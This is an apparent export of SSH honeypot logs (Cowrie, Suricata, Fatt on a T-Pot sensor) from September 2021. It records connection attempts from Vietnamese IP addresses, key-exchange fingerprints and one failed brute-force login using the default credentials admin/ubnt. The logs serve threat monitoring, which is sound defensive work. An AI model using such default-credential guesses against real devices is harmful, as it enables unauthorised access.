c-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50652, "dest_port": 22, "timestamp": "2021-09-20T11:07:01.632879", "@timestamp": "2021-09-20T11:07:01.632Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22324	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:01.797249+03	2021-09-20 14:15:04.790613+03	{"_id": "4QbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7d3a18fad046", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:01.797249Z", "@timestamp": "2021-09-20T11:07:01.797Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22325	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:01.97427+03	2021-09-20 14:15:04.791613+03	{"_id": "4gbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "866f50c91ccd", "@version": "1", "duration": 2.5258677005767822, "timestamp": "2021-09-20T11:07:01.974270Z", "@timestamp": "2021-09-20T11:07:01.974Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22326	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:02.334653+03	2021-09-20 14:15:04.792614+03	{"_id": "5AbjAnwBvYTbRNuESwXu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1897670823506827, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38404, "dest_port": 22, "timestamp": "2021-09-20T11:07:02.334653Z", "@timestamp": "2021-09-20T11:07:02.334Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22327	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:02.031957+03	2021-09-20 14:15:04.793614+03	{"_id": "7QbjAnwBvYTbRNuETQVd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47540, "dest_port": 22, "timestamp": "2021-09-20T11:07:02.031957", "@timestamp": "2021-09-20T11:07:02.031Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22605	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:11.204138+03	2021-09-20 14:15:06.4275+03	{"_id": "wwbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "5c82696c63bc", "@version": "1", "duration": 3.9470396041870117, "timestamp": "2021-09-20T11:07:11.204138Z", "@timestamp": "2021-09-20T11:07:11.204Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22328	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:03.97437+03	2021-09-20 14:15:04.794613+03	{"_id": "WwbjAnwBvYTbRNuEUwbB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 22161684683295, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 45878, "dest_port": 22, "timestamp": "2021-09-20T11:07:03.974370Z", "@timestamp": "2021-09-20T11:07:03.974Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22329	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:04.327185+03	2021-09-20 14:15:04.796613+03	{"_id": "XwbjAnwBvYTbRNuEUwbC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 101068823833647, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44204, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.327185Z", "@timestamp": "2021-09-20T11:07:04.327Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22330	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:04.401696+03	2021-09-20 14:15:04.797613+03	{"_id": "cQbjAnwBvYTbRNuEVQYq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "58adb1fd9c37", "@version": "1", "timestamp": "2021-09-20T11:07:04.401696Z", "@timestamp": "2021-09-20T11:07:04.401Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22331	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:04.617433+03	2021-09-20 14:15:04.799613+03	{"_id": "cgbjAnwBvYTbRNuEVQYq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7d3a18fad046", "@version": "1", "duration": 2.866835594177246, "timestamp": "2021-09-20T11:07:04.617433Z", "@timestamp": "2021-09-20T11:07:04.617Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22332	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:04.822789+03	2021-09-20 14:15:04.800614+03	{"_id": "cwbjAnwBvYTbRNuEVQYq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ed81c353bb43", "@version": "1", "duration": 2.7614505290985107, "timestamp": "2021-09-20T11:07:04.822789Z", "@timestamp": "2021-09-20T11:07:04.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
40903	192.168.20.116	109.199.241.180	Suricata	2021-09-20 16:01:50.298564+03	2021-09-20 16:15:02.024747+03	{"_id": "qQZMA3wBvYTbRNuEZIvI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 14365, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2121810585751108, "@version": "1", "in_iface": "enp5s0", "src_port": 40105, "dest_port": 53, "timestamp": "2021-09-20T13:01:50.298564Z", "@timestamp": "2021-09-20T13:01:50.298Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
22334	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:04.655808+03	2021-09-20 14:15:04.802612+03	{"_id": "dQbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:56258 (192.168.176.2:22) [session: 48da12aa7451]", "session": "48da12aa7451", "@version": "1", "protocol": "ssh", "src_port": 56258, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.655808Z", "@timestamp": "2021-09-20T11:07:04.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22335	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:04.676296+03	2021-09-20 14:15:04.803612+03	{"_id": "dgbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:56472 (192.168.176.2:22) [session: 8d54501e455c]", "session": "8d54501e455c", "@version": "1", "protocol": "ssh", "src_port": 56472, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.676296Z", "@timestamp": "2021-09-20T11:07:04.676Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22336	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:04.030475+03	2021-09-20 14:15:04.805612+03	{"_id": "fAbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33428, "timestamp": "2021-09-20T11:07:04.030475", "@timestamp": "2021-09-20T11:07:04.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22337	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:04.230522+03	2021-09-20 14:15:04.806613+03	{"_id": "mgbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [admin/ubnt] failed", "session": "653d081ab785", "@version": "1", "password": "ubnt", "username": "admin", "timestamp": "2021-09-20T11:07:04.230522Z", "@timestamp": "2021-09-20T11:07:04.230Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22338	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:04.334457+03	2021-09-20 14:15:04.808614+03	{"_id": "mwbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", 